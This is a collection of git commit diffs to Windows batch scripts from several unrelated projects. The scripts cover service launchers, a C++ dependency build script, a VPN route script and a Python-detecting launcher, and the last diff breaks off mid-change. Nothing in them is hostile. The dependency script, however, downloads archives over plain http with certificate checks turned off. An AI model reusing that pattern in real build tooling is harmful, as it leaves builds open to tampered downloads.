+	call cmd /k start "sso-config" %MAVEN_CMD% spring-boot:run -T 5 %1 %2 %3 -f sso-config/pom.xml
 @goto:eof

 :cas-client-demo
-	@echo Startting cas client demo...
-    call %MAVEN_CMD% jetty:run -f sso-client-demo/sso-cas-client-demo/pom.xml
+	@echo Stating cas client demo...
+	call cmd /k start "cas-client-demo" %MAVEN_CMD% jetty:run -f sso-client-demo/sso-cas-client-demo/pom.xml
 @goto:eof

 :shiro-client-demo
-	@echo Startting shiro client demo...
-    call %MAVEN_CMD% spring-boot:run -T 5 %1 %2 %3 -f sso-client-demo/sso-client-shiro-demo/pom.xml
+	@echo Stating shiro client demo...
+	call cmd /k start "shiro-client-demo" %MAVEN_CMD% spring-boot:run -T 5 %1 %2 %3 -f sso-client-demo/sso-client-shiro-demo/pom.xml
 @goto:eof

 :run-all


add bat file for simple paths generation

error: pathspec 'src/utils/generate_paths.bat' did not match any file(s) known to git

--- src/utils/generate_paths.bat
+++ src/utils/generate_paths.bat
@@ -0,0 +1,2 @@
+DEL /Q "..\projector\gen\paths.h"
+C:\Python27\python.exe "path_to_arduino.py" -i "..\..\svgs" -o "..\projector\gen\paths.h"


Initial version of the build-deps script for windows

error: pathspec 'build_deps.bat' did not match any file(s) known to git

--- build_deps.bat
+++ build_deps.bat
@@ -0,0 +1,288 @@
+@echo off
+setlocal EnableDelayedExpansion
+
+rem Initialize environment variable defaults
+call :SET_DEFAULTS
+
+rem Build the environment and bail out if it fails
+call :BUILD_ENVIRONMENT
+if x%environment_built% == x goto :eof
+
+%PROJECT_DRIVE%
+mkdir %BUILD_DIR%
+cd %BUILD_DIR%
+
+echo Build Dependencies - Preparing to build
+
+rem Uncomment once parameters are read, only delete in clean mode
+rem cmd /c rd %VENDOR_DIR% /s /q
+
+call :BUILD_BOOST
+call :BUILD_TURTLE
+call :BUILD_GLM
+call :BUILD_ZLIB
+call :BUILD_MYSQL_CONNECTOR_C
+call :BUILD_MYSQL_CONNECTOR_CPP
+
+rem ----------------------------------------------------------------------------
+rem --- Start of SET_DEFAULTS --------------------------------------------------
+:SET_DEFAULTS
+
+set "PROJECT_BASE=%~dp0"
+set "PROJECT_DRIVE=%~d0"
+set "BUILD_DIR=%PROJECT_BASE%build-deps\"
+set "VENDOR_DIR=%PROJECT_BASE%vendor\"
+set MSVC_VERSION=11
+set BOOST_VERSION=1.52.0
+set TURTLE_VERSION=1.2.0
+set GLM_VERSION=0.9.4.1
+set ZLIB_VERSION=1.2.7
+set MYSQL_C_VERSION=6.0.2
+set "WGET=%PROJECT_BASE%tools\windows\wget.exe"
+set "ZIP=%PROJECT_BASE%tools\windows\7z.exe"
+
+goto :eof
+rem --- End of SET_DEFAULTS ----------------------------------------------------
+rem ----------------------------------------------------------------------------
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_ENVIRONMENT ---------------------------------------------
+:BUILD_ENVIRONMENT
+
+if not exist "%VS110COMNTOOLS%" (
+    echo ***** Microsoft Visual Studio 11 required *****
+    exit /b 1
+)
+
+call "%VS110COMNTOOLS%\vsvars32.bat" >NUL
+
+set environment_built=yes
+
+goto :eof
+rem --- End of BUILD_ENVIRONMENT -----------------------------------------------
+rem ----------------------------------------------------------------------------
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_BOOST ---------------------------------------------------
+rem --- Builds the boost library for use with this project. ---
+:BUILD_BOOST
+
+echo BUILDING: Boost %BOOST_VERSION% - http://www.boost.org/
+
+set BOOST_VERSION_ALT=!BOOST_VERSION:.=_!
+set BOOST_FILE=boost_%BOOST_VERSION_ALT%.zip
+set BOOST_URL=http://downloads.sourceforge.net/project/boost/boost/%BOOST_VERSION%/%BOOST_FILE%
+set BOOST_DIR=boost_%BOOST_VERSION_ALT%
+
+if not exist %BOOST_FILE% (
+    %WGET% --no-check-certificate !BOOST_URL!
+)
+
+if not exist %BOOST_DIR% (
+    %ZIP% x -y %BOOST_FILE%
+)
+
+if not exist boost-log (
+    svn co https://boost-log.svn.sourceforge.net/svnroot/boost-log/trunk/boost-log/ -r 799
+)
+
+if not exist "%BOOST_DIR%\boost\log" (
+    xcopy "boost-log/boost/log" "%BOOST_DIR%/boost/log" /s /i /y
+    xcopy "boost-log/libs/log" "%BOOST_DIR%/libs/log" /s /i /y
+)
+
+cd "%BOOST_DIR%"
+
+if not exist b2.exe (
+    cmd /c bootstrap.bat
+)
+
+cmd /c "b2.exe" --toolset=msvc-%MSVC_VERSION%.0 variant=debug,release link=shared runtime-link=shared threading=multi define=_SCL_SECURE_NO_WARNINGS=0
+
+if not exist %VENDOR_DIR%include\boost (
+    xcopy "boost" "%VENDOR_DIR%include\boost" /s /i /y
+    xcopy "stage/lib" "%VENDOR_DIR%lib" /s /i /y
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_BOOST -----------------------------------------------------
+rem ----------------------------------------------------------------------------
+
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_TURTLE --------------------------------------------------
+rem --- Builds the turtle library for use with this project. ---
+:BUILD_TURTLE
+
+echo BUILDING: Turtle %TURTLE_VERSION% - http://turtle.sourceforge.net/
+
+set TURTLE_FILE=turtle-%TURTLE_VERSION%.zip
+set TURTLE_URL=http://downloads.sourceforge.net/project/turtle/turtle/%TURTLE_VERSION%/%TURTLE_FILE%
+set TURTLE_DIR=turtle-%TURTLE_VERSION%
+
+if not exist %TURTLE_FILE% (
+    %WGET% --no-check-certificate !TURTLE_URL!
+)
+
+if not exist "%VENDOR_DIR%include\turtle" (
+    %ZIP% x -y %TURTLE_FILE% -O%VENDOR_DIR%
+    del %VENDOR_DIR%README.txt
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_TURTLE ----------------------------------------------------
+rem ----------------------------------------------------------------------------
+
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_GLM -----------------------------------------------------
+rem --- Builds the glm library for use with this project. ---
+:BUILD_GLM
+
+echo BUILDING: GLM %GLM_VERSION% - http://glm.g-truc.net/
+
+set GLM_FILE=glm-%GLM_VERSION%.zip
+set GLM_URL=http://downloads.sourceforge.net/project/ogl-math/glm-%GLM_VERSION%/%GLM_FILE%
+set GLM_DIR=glm-%GLM_VERSION%
+
+if not exist %GLM_FILE% (
+    %WGET% --no-check-certificate !GLM_URL!
+)
+
+if not exist "%VENDOR_DIR%include\glm" (
+    %ZIP% x -y %GLM_FILE% -Oglm
+    xcopy "glm\glm" "%VENDOR_DIR%include\glm" /s /i /y
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_GLM -------------------------------------------------------
+rem ----------------------------------------------------------------------------
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_ZLIB ----------------------------------------------------
+rem --- Builds the zlib library for use with this project.                   ---
+:BUILD_ZLIB
+
+echo BUILDING: zlib %ZLIB_VERSION% - http://www.zlib.net/
+
+set ZLIB_VERSION_ALT=!ZLIB_VERSION:.=!
+set ZLIB_FILE=zlib%ZLIB_VERSION_ALT%.zip
+set ZLIB_URL=http://zlib.net/%ZLIB_FILE%
+set ZLIB_DIR=zlib-%ZLIB_VERSION%
+
+if not exist %ZLIB_FILE% (
+    %WGET% --no-check-certificate !ZLIB_URL!
+)
+
+if not exist "%ZLIB_DIR%" (
+    %ZIP% x -y %ZLIB_FILE%
+)
+
+cd "%ZLIB_DIR%"
+
+cmake -G"Visual Studio 11" .
+cmake --build . --target zlib --config Debug
+cmake --build . --target zlib --config Release
+
+if not exist "%VENDOR_DIR%include\zlib.h" (
+    xcopy "zlib.h" "%VENDOR_DIR%include" /s /i /y
+    xcopy "zconf.h" "%VENDOR_DIR%include" /s /i /y
+    xcopy "Debug" "%VENDOR_DIR%lib\Debug" /s /i /y
+    xcopy "Release" "%VENDOR_DIR%lib\Release" /s /i /y
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_ZLIB ------------------------------------------------------
+rem ----------------------------------------------------------------------------
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_MYSQL_CONNECTOR_C ---------------------------------------
+rem --- Builds the mysql connector c library for use with this project. --------
+:BUILD_MYSQL_CONNECTOR_C
+
+echo BUILDING: Mysql Connector-C %MYSQL_C_VERSION% - http://mysql.com/
+
+set MYSQL_C_FILE=mysql-connector-c-%MYSQL_C_VERSION%.zip
+set MYSQL_C_URL=http://dev.mysql.com/get/Downloads/Connector-C/%MYSQL_C_FILE%/from/http://cdn.mysql.com/
+set MYSQL_C_DIR=mysql-connector-c-%MYSQL_C_VERSION%
+set MYSQL_C_CMAKE=%MYSQL_C_DIR%\CMakeLists.txt
+if not exist %MYSQL_C_FILE% (
+    %WGET% --no-check-certificate !MYSQL_C_URL!
+)
+
+if not exist "%MYSQL_C_DIR%" (
+    %ZIP% x -y %MYSQL_C_FILE%
+
+    set search=STRING(REPLACE "/MD"
+    set replacement=# STRING(REPLACE "/MD"
+
+    for /f "tokens=* delims=," %%A in ('"type %MYSQL_C_DIR%\CMakeLists.txt"') do (
+        set "str=%%A"
+        set str=!str:STRING(REPLACE "/MD=# STRING(REPLACE "/MD!
+        echo.!str! >> %MYSQL_C_CMAKE%.tmp
+    )
+
+    if exist %MYSQL_C_CMAKE%.tmp (
+        del %MYSQL_C_CMAKE%
+        move %MYSQL_C_CMAKE%.tmp %MYSQL_C_CMAKE%
+    )
+)
+
+cd "%MYSQL_C_DIR%"
+
+cmake .
+cmake --build . --target mysqlclient --config Debug
+cmake --build . --target libmysql --config Debug
+cmake --build . --target mysqlclient --config Release
+cmake --build . --target libmysql --config Release
+
+if not exist "%VENDOR_DIR%include\mysql.h" (
+    xcopy "include" "%VENDOR_DIR%include" /s /i /y
+    xcopy "libmysql/Debug" "%VENDOR_DIR%lib/Debug" /s /i /y
+    xcopy "libmysql/Release" "%VENDOR_DIR%lib/Release" /s /i /y
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_MYSQL_CONNECTOR_C -----------------------------------------
+rem ----------------------------------------------------------------------------
+
+rem ----------------------------------------------------------------------------
+rem --- Start of BUILD_MYSQL_CONNECTOR_CPP -------------------------------------
+rem --- Builds the mysql connector c++ library for use with this project. ------
+:BUILD_MYSQL_CONNECTOR_CPP
+
+echo BUILDING: Mysql Connector-C++ - http://mysql.com/
+
+if not exist mysql-connector-cpp (
+    git clone https://github.com/anhstudios/mysql-connector-cpp.git
+)
+
+cd mysql-connector-cpp
+
+cmake -G"Visual Studio 11" -DBOOST_ROOT=%VENDOR_DIR% -DMYSQL_INCLUDE_DIR=%VENDOR_DIR%include -DMYSQL_LIB_DIR=%VENDOR_DIR%lib/Release .
+cmake --build . --target mysqlcppconn --config Debug
+cmake --build . --target mysqlcppconn --config Release
+
+if not exist "%VENDOR_DIR%include\cppconn" (
+    xcopy "cppconn" "%VENDOR_DIR%include\cppconn" /s /i /y
+    xcopy "driver\mysql_driver.h" "%VENDOR_DIR%include" /s /i /y
+    xcopy "driver\mysql_connection.h" "%VENDOR_DIR%include" /s /i /y
+    xcopy "driver\Debug" "%VENDOR_DIR%lib\Debug" /s /i /y
+    xcopy "driver\Release" "%VENDOR_DIR%lib\Release" /s /i /y
+)
+
+cd "%BUILD_DIR%"
+
+goto :eof
+rem --- End of BUILD_MYSQL_CONNECTOR_CPP ---------------------------------------
+rem ----------------------------------------------------------------------------


Fix KONAN_DATA_DIR in the Windows command-line runner (#1649)

--- cmd/run_konan.bat
+++ cmd/run_konan.bat
@@ -94,7 +94,7 @@
 :set_path
   rem libclang.dll is dynamically linked and thus requires correct PATH to be loaded.
   rem TODO: remove this hack.
-  if ("%KONAN_DATA_DIR%"=="") (set KONAN_DATA_DIR=%USERPROFILE%\.konan)
+  if "%KONAN_DATA_DIR%"=="" (set KONAN_DATA_DIR=%USERPROFILE%\.konan)
   set "PATH=%KONAN_DATA_DIR%\dependencies\msys2-mingw-w64-x86_64-gcc-7.2.0-clang-llvm-5.0.0-windows-x86-64\bin;%PATH%"
 goto :eof


Allowed multiple commands in /build.

Allowed multiple commands in /build.

--- bin/build.cmd
+++ bin/build.cmd
@@ -10,8 +10,8 @@

 def usage(): Unit = {
-  println("Sireum Runtime /build")
-  println("Usage: ( compile | test | test-js | m2 | jitpack )")
+  println("Sireum Runtime Library /build")
+  println("Usage: ( compile | test | test-js | m2 | jitpack )+")
 }

 if (Os.cliArgs.size != 2) {
@@ -110,18 +110,20 @@

 downloadMill()

-Os.cliArgs(1) match {
-  case string"compile" => compile()
-  case string"test" =>
-    test()
-    if (Os.proc(ISZ("node", "-v")).run().ok) {
-      testJs()
-    }
-  case string"test-js" => testJs()
-  case string"m2" => m2()
-  case string"jitpack" => jitpack()
-  case cmd =>
-    usage()
-    eprintln(s"Unrecognized command: $cmd")
-    Os.exit(-1)
+for (i <- 1 until Os.cliArgs.size) {
+  Os.cliArgs(i) match {
+    case string"compile" => compile()
+    case string"test" =>
+      test()
+      if (Os.proc(ISZ("node", "-v")).run().ok) {
+        testJs()
+      }
+    case string"test-js" => testJs()
+    case string"m2" => m2()
+    case string"jitpack" => jitpack()
+    case cmd =>
+      usage()
+      eprintln(s"Unrecognized command: $cmd")
+      Os.exit(-1)
+  }
 }


Update installer staging script to include src/samples folder

--- installer/win/stageForInstaller.bat
+++ installer/win/stageForInstaller.bat
@@ -93,6 +93,13 @@
 del www_excludes.tmp

+:: Copy BRACKETS_SRC\samples to staging\samples
+echo Copying sample content from %BRACKETS_SRC%\samples ...
+
+xcopy %BRACKETS_SRC%\samples staging\samples /s /i
+
+
+
 echo.
 echo Done staging Brackets for Windows! (Run installer generator script next)


add new route after delete defalt route

add new route after delete defalt route

--- batch/vpn.bat
+++ batch/vpn.bat
@@ -19,6 +19,8 @@
         echo %%a|findstr /c:"Media State">nul && set state=%%b
         if "x!state!" neq "x Media disconnected" (
             set /a index+=1
+            if !index! equ 3 set network=%%~b
+            if !index! equ 4 set mask=%%~b
             if !index! equ 5 set gateway=%%~b
         ) else (
             set begin=
@@ -30,7 +32,9 @@
 :: drop default gateway
 if "x!gateway: =!" neq "x" (
     set /p ign=going to delete default route with gateway !gateway! ... <nul
-    route delete 0.0.0.0 mask 0.0.0.0 %gateway%>nul 2>&1 && echo done.
+    route delete 0.0.0.0 mask 0.0.0.0 !gateway!>nul 2>&1 && echo done.
+    set /p ign=going to add new route: !network! !mask! !gateway! ... <nul
+    route add !network! mask !mask! !gateway!>nul 2>&1 && echo done.
     :: flush dns
     set /p ign=going to refresh dns settings ... <nul
     ipconfig /flushdns>nul && echo done.


Fix the /d flag

Fix the /d flag

Was deleted in last commit.

--- bin/alias.bat
+++ bin/alias.bat
@@ -5,7 +5,8 @@
 if ["%*"] == [""] echo Use /? for help & echo. & goto :p_show
 if ["%1"] == ["/?"] goto:p_help
 if ["%1"] == ["/reload"] goto:p_reload
-
+:: /d flag for delete existing alias
+if ["%1"] == ["/d"] goto:p_del %*
 :: if arg is an existing alias, display it
 if ["%2"] == [""] (
   doskey /macros | findstr /b %1= && goto:eof


Add p6doc runner for windows

Add p6doc runner for windows

Pretty much a straight copy from panda.bat

error: pathspec 'bin/p6doc.bat' did not match any file(s) known to git

--- bin/p6doc.bat
+++ bin/p6doc.bat
@@ -0,0 +1,14 @@
+@rem = '--*-Perl-*--
+@echo off
+if "%OS%" == "Windows_NT" goto WinNT
+perl6 "%~dp0\%0" %1 %2 %3 %4 %5 %6 %7 %8 %9
+goto endofperl
+:WinNT
+perl6 "%~dp0\%~n0" %*
+if NOT "%COMSPEC%" == "%SystemRoot%\system32\cmd.exe" goto endofperl
+if %errorlevel% == 9009 echo You do not have Perl in your PATH.
+if errorlevel 1 goto script_failed_so_exit_with_non_zero_val 2>nul
+goto endofperl
+@rem ';
+__END__
+:endofperl


Expand python detection

Expand python detection

--- Start.bat
+++ Start.bat
@@ -6,6 +6,17 @@
 set "thisDir=%~dp0"
 set /a tried=0
 set "toask=yes"
+set "py2v="
+set "py2path="
+set "py3v="
+set "py3path="
+set "pypath="
+
+REM use_py3:
+REM   TRUE  = Use if found, use py2 otherwise
+REM   FALSE = Use py2
+REM   FORCE = Use py3
+set "use_py3=TRUE"

 goto checkscript

@@ -23,8 +34,22 @@
 goto checkpy

 :checkpy
-python -V > NUL 2>&1
-if not "!errorlevel!" == "0" (
+for /f "tokens=1" %%x in ('where python') do ( call :checkpyversion "%%x" "py2v" "py2path" "py3v" "py3path" )
+set "targetpy=3"
+if /i "!use_py3!" == "FALSE" (
+    set "targetpy=2"
+    set "pypath=!py2path!"
+) else if /i "!use_py3!" == "FORCE" (
+    set "pypath=!py3path!"
+) else if /i "!use_py3!" == "TRUE" (
+    set "pypath=!py3path!"
+    if "!pypath!" == "" set "pypath=!py2path!"
+)
+if not "!pypath!" == "" (
+    goto runscript
+)
+
+if "!pypath!" == "" (
     if %tried% lss 1 (
         if /i "!toask!"=="yes" (
             REM Better ask permission first
@@ -37,6 +62,7 @@
         echo   ###     ###
         echo  # Warning #
         echo ###     ###
+        echo.
         REM Couldn't install for whatever reason - give the error message
         echo Python is not installed or not found in your PATH var.
         echo Please install it from https://www.python.org/downloads/windows/
@@ -53,6 +79,62 @@
     )
 )
 goto runscript
+
+:checkpyversion <path> <py2v> <py2path> <py3v> <py3path>
+set "version="&for /f "tokens=2* USEBACKQ delims= " %%a in (`"%~1" -V 2^>^&1`) do (
+    REM Ensure we have a version number
+    call :isnumber "%%a"
+    if not "!errorlevel!" == "0" goto :EOF
+    set "version=%%a"
+)
+if not defined version goto :EOF
+if "!version:~0,1!" == "2" (
+    REM Python 2
+    call :comparepyversion "!version!" "!%~2!"
+    if "!errorlevel!" == "1" (
+        set "%~2=!version!"
+        set "%~3=%~1"
+    )
+) else (
+    REM Python 3
+    call :comparepyversion "!version!" "!%~4!"
+    if "!errorlevel!" == "1" (
+        set "%~4=!version!"
+        set "%~5=%~1"
+    )
+)
+goto :EOF
+
+:isnumber <check>
+set "var="&for /f "delims=0123456789." %%i in ("%~1") do set var=%%i
+if defined var (exit /b 1)
+exit /b 0
+
+:comparepyversion <version1> <version2> <return>
+REM Exits with status 0 if equal, 1 if v1 gtr v2, 2 if v1 lss v2
+for /f "tokens=1,2,3 delims=." %%a in ("%~1") do (
+    set a1=%%a
+    set a2=%%b
+    set a3=%%c
+)
+for /f "tokens=1,2,3 delims=." %%a in ("%~2") do (
+    set b1=%%a
+    set b2=%%b
+    set b3=%%c
+)
+if not defined a1 set a1=0
+if not defined a2 set a2=0
+if not defined a3 set a3=0
+if not defined b1 set b1=0
+if not defined b2 set b2=0
+if not defined b3 set b3=0
+if %a1% gtr %b1% exit /b 1
+if %a1% lss %b1% exit /b 2
+if %a2% gtr %b2% exit /b 1
+if %a2% lss %b2% exit /b 2
+if %a3% gtr %b3% exit /b 1
+if %a3% lss %b3% exit /b 2
+exit /b 0

 :askinstall
 cls
@@ -60,7 +142,7 @@
 echo  # Python Not Found #
 echo ###              ###
 echo.
-echo Python was not found on the system or in the PATH var.
+echo Python !targetpy! was not found on the system or in the PATH var.
 echo.
 set /p "menu=Would you like to install it now? [y/n]: "
 if /i "!menu!"=="y" (
@@ -92,7 +174,7 @@
 echo Parsing for latest...
 pushd "%TEMP%"
 :: Version detection code slimmed by LussacZheng (https://github.com/corpnewt/gibMacOS/issues/20)
-for /f "tokens=9 delims=< " %%x in ('findstr /i /c:"Latest Python 3 Release" pyurl.txt') do ( set "release=%%x" )
+for /f "tokens=9 delims=< " %%x in ('findstr /i /c:"Latest Python !targetpy! Release" pyurl.txt') do ( set "release=%%x" )
 popd

 echo Found Python !release! -  Downloading...
@@ -102,36 +184,39 @@
 REM At this point - we should have the version number.
 REM We can build the url like so: "https://www.python.org/ftp/python/[version]/python-[version]-amd64.exe"
 set "url=https://www.python.org/ftp/python/!release!/python-!release!-amd64.exe"
+set "pytype=exe"
+if "!targetpy!" == "2" (
+    set "url=https://www.python.org/ftp/python/!release!/python-!release!.amd64.msi"
+    set "pytype=msi"
+)
 REM Now we download it with our slick powershell command
-powershell -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object System.Net.WebClient).DownloadFile('!url!','%TEMP%\pyinstall.exe')"
+powershell -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (new-object System.Net.WebClient).DownloadFile('!url!','%TEMP%\pyinstall.!pytype!')"
 REM If it doesn't exist - we bail
-if not exist "%TEMP%\pyinstall.exe" (
+if not exist "%TEMP%\pyinstall.!pytype!" (
     goto checkpy
 )
 REM It should exist at this point - let's run it to install silently
 echo Installing...
-echo pyinstall.exe /quiet PrependPath=1 Include_test=0 Shortcuts=0 Include_launcher=0
 pushd "%TEMP%"
-pyinstall.exe /quiet PrependPath=1 Include_test=0 Shortcuts=0 Include_launcher=0
+if /i "!pytype!" == "exe" (
+    echo pyinstall.exe /quiet PrependPath=1 Include_test=0 Shortcuts=0 Include_launcher=0
+    pyinstall.exe /quiet PrependPath=1 Include_test=0 Shortcuts=0 Include_launcher=0
+) else (
+    set "foldername=!release:.=!"
+    echo msiexec /i pyinstall.msi /qb ADDLOCAL=ALL TARGETDIR="%LocalAppData%\Programs\Python\Python!foldername:~0,2!"
+    msiexec /i pyinstall.msi /qb ADDLOCAL=ALL TARGETDIR="%LocalAppData%\Programs\Python\Python!foldername:~0,2!"
+)
 popd
-echo Installer finsihed with %ERRORLEVEL% status.
+echo Installer finished with %ERRORLEVEL% status.
 REM Now we should be able to delete the installer and check for py again
-del "%TEMP%\pyinstall.exe"
+del "%TEMP%\pyinstall.!pytype!"
 REM If it worked, then we should have python in our PATH
 REM this does not get updated right away though - let's try
 REM manually updating the local PATH var
 set "spath="
 set "upath="
-for /f "tokens=2* delims= " %%i in ('reg.exe query "HKCU\Environment" /v "Path" 2^> nul') do (
-    if NOT "%%j"=="" (
-		set "upath=%%j"
-	)
-)
-for /f "tokens=2* delims= " %%i in ('reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "Path" 2^> nul') do (
-    if NOT "%%j"=="" (
-		set "spath=%%j"
-	)
-)
+for /f "tokens=2* delims= " %%i in ('reg.exe query "HKCU\Environment" /v "Path" 2^> nul') do ( if not "%%j" == "" set "upath=%%j" )
+for /f "tokens=2* delims= " %%i in ('reg.exe query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v "Path" 2^> nul') do ( if not "%%j" == "" set "spath=%%j" )
 if not "!spath!" == "" (
     REM We got something in the system path
     set "PATH=!spath!"
@@ -144,7 +229,6 @@
 )
 goto checkpy
 exit /b
-
 :runscript
 REM Python found
 cls
@@ -155,9 +239,9 @@
 set "args=%*"
 set "args=!args:"=!"
 if "!args!"=="" (
-    python "!thisDir!!script_name!"
+    "!pypath!" "!thisDir!!script_name!"
 ) else (
-    python "!thisDir!!script_name!" %*
+    "!pypath!" "!thisDir!!script_name!" %*
 )
 pause > nul
 goto :EOF


Modified .bat file with new startup parameters

--- bin/start.bat
+++ bin/start.bat
@@ -1,3 +1,3 @@
 cd ..
-START java -Xmx2G -Xms2G -server -XX:+AggressiveOpts -XX:NewSize=512M -cp "classes;lib/*" org.loklak.LoklakServer >> data/loklak.log 2>&1 & echo $! > data/loklak.pid
+START java -Xmx4G -Xms1G -server -XX:+AggressiveOpts -XX:NewSize=512M -cp "classes;lib/*" org.loklak.LoklakServer >> data/loklak.log 2>&1 & echo $! > data/loklak.pid
 echo "loklak server started at port 9100, open your browser at http://localhost:9100"


start-jetty added

start-jetty added

--- yanel.bat
+++ yanel.bat
@@ -17,15 +17,30 @@
 ::----- Start/Stop Yanel
 if "%1" == "start"; goto start
 if "%1" == "stop"; goto stop
+if "%1" == "start-jetty"; goto startJetty
 goto cmdl

 :start
   %ANT_HOME%\bin\ant -f src/build/build.xml start-tomcat
 :stop
   %ANT_HOME%\bin\ant -f src/build/build.xml stop-tomcat
+:startJetty
+  path | find /i "maven-2.0.4\bin" > nul
+  if errorlevel 1 goto MavenNotFound
+  shift
+  shift
+  mvn jetty:run-war -f  src/build/pom-webapp.xml %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
 :cmdl
   %ANT_HOME%\bin\ant -f src/build/build.xml run-yanel-cmdl -Dyanel.path=""
-
+
+
+:MavenNotFound
+echo ERROR: No 'mvn' command available!
+echo        Have you installed Maven 2.0.4?
+echo        If so, then check your PATH and try again
+echo        or install Maven 2.0.4 from http://maven.apache.org
+
+
 rem ----- Restore ANT_HOME
 set ANT_HOME=%ORIGINAL_ANT_HOME%
-set ORIGINAL_ANT_HOME=
+set ORIGINAL_ANT_HOME=


build_deployment script

build_deployment script

git-tfs-id: [https://tfs.codeplex.com/tfs/TFS05/]$/ZXingNet/trunk;C90218

--- build_deployment.cmd
+++ build_deployment.cmd
@@ -1,6 +1,6 @@
 @ECHO OFF

-SET VERSION=0.15.0.0
+SET VERSION=0.16.0.0

 SET CURRENT_DIR=%CD%
 SET BUILD_DIR=%CD%\Build
@@ -18,6 +18,9 @@

 IF NOT EXIST "%BINARY_DIR%\ce2.0\zxing.ce2.0.dll" GOTO BINARY_CE20_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\ce3.5\zxing.ce3.5.dll" GOTO BINARY_CE35_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\interop\zxing.interop.dll" GOTO BINARY_INTEROP_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\kinect\V1\zxing.kinect.dll" GOTO BINARY_KINECT_V1_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\kinect\V2\zxing.kinect.dll" GOTO BINARY_KINECT_V2_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\net2.0\zxing.dll" GOTO BINARY_NET20_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\net3.5\zxing.dll" GOTO BINARY_NET35_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\net4.0\zxing.dll" GOTO BINARY_NET40_NOT_FOUND
@@ -26,19 +29,22 @@
 IF NOT EXIST "%BINARY_DIR%\net4.5\zxing.presentation.dll" GOTO BINARY_NET45_PRESENTATION_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\net4.6\zxing.dll" GOTO BINARY_NET46_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\net4.6\zxing.presentation.dll" GOTO BINARY_NET46_PRESENTATION_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\net4.7\zxing.dll" GOTO BINARY_NET47_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\net4.7\zxing.presentation.dll" GOTO BINARY_NET47_PRESENTATION_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\portable\zxing.portable.dll" GOTO BINARY_PORTABLE_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\sl4\zxing.sl4.dll" GOTO BINARY_SL40_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\sl5\zxing.sl5.dll" GOTO BINARY_SL50_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\unity\zxing.unity.dll" GOTO BINARY_UNITY_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\uwp\zxing.dll" GOTO BINARY_UWP_NOT_FOUND
+IF NOT EXIST "%BINARY_DIR%\winrt\zxing.winrt.dll" GOTO BINARY_WINRT_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\wp7.0\zxing.wp7.0.dll" GOTO BINARY_WP70_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\wp7.1\zxing.wp7.1.dll" GOTO BINARY_WP71_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\wp8.0\zxing.wp8.0.dll" GOTO BINARY_WP80_NOT_FOUND
-IF NOT EXIST "%BINARY_DIR%\winrt\zxing.winrt.dll" GOTO BINARY_WINRT_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\monodroid\zxing.monoandroid.dll" GOTO BINARY_MONODROID_NOT_FOUND
 IF NOT EXIST "%BINARY_DIR%\winmd\zxing.winmd" GOTO BINARY_WINRTCOMPONENTS_NOT_FOUND
-IF NOT EXIST "%BINARY_DIR%\portable\zxing.portable.dll" GOTO BINARY_PORTABLE_NOT_FOUND
-IF NOT EXIST "%BINARY_DIR%\kinect\zxing.kinect.dll" GOTO BINARY_KINECT_NOT_FOUND
-IF NOT EXIST "%BINARY_DIR%\uwp\zxing.dll" GOTO BINARY_UWP_NOT_FOUND
-IF NOT EXIST "%BINARY_DIR%\netstandard1.6\zxing.dll" GOTO BINARY_NETSTANDARD16_NOT_FOUND
+IF NOT EXIST "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.0\zxing.dll" GOTO BINARY_NETSTANDARD10_NOT_FOUND
+IF NOT EXIST "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.1\zxing.dll" GOTO BINARY_NETSTANDARD11_NOT_FOUND
+IF NOT EXIST "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.3\zxing.dll" GOTO BINARY_NETSTANDARD13_NOT_FOUND

 ECHO.
 ECHO Build deployment files in directory
@@ -61,12 +67,26 @@
 DEL /S "%BINARY_DIR%"\Clients\*.xml
 DEL /S "%BINARY_DIR%"\Clients\*.pdb

+MKDIR "%BINARY_DIR%\netstandard" >NUL: 2>&1
+MKDIR "%BINARY_DIR%\netstandard\1.0" >NUL: 2>&1
+MKDIR "%BINARY_DIR%\netstandard\1.1" >NUL: 2>&1
+MKDIR "%BINARY_DIR%\netstandard\1.3" >NUL: 2>&1
+COPY "%CURRENT_DIR%\Source\lib\netstandard\bin\Debug\netstandard1.0\zxing.dll" "%BINARY_DIR%\netstandard\1.0\"
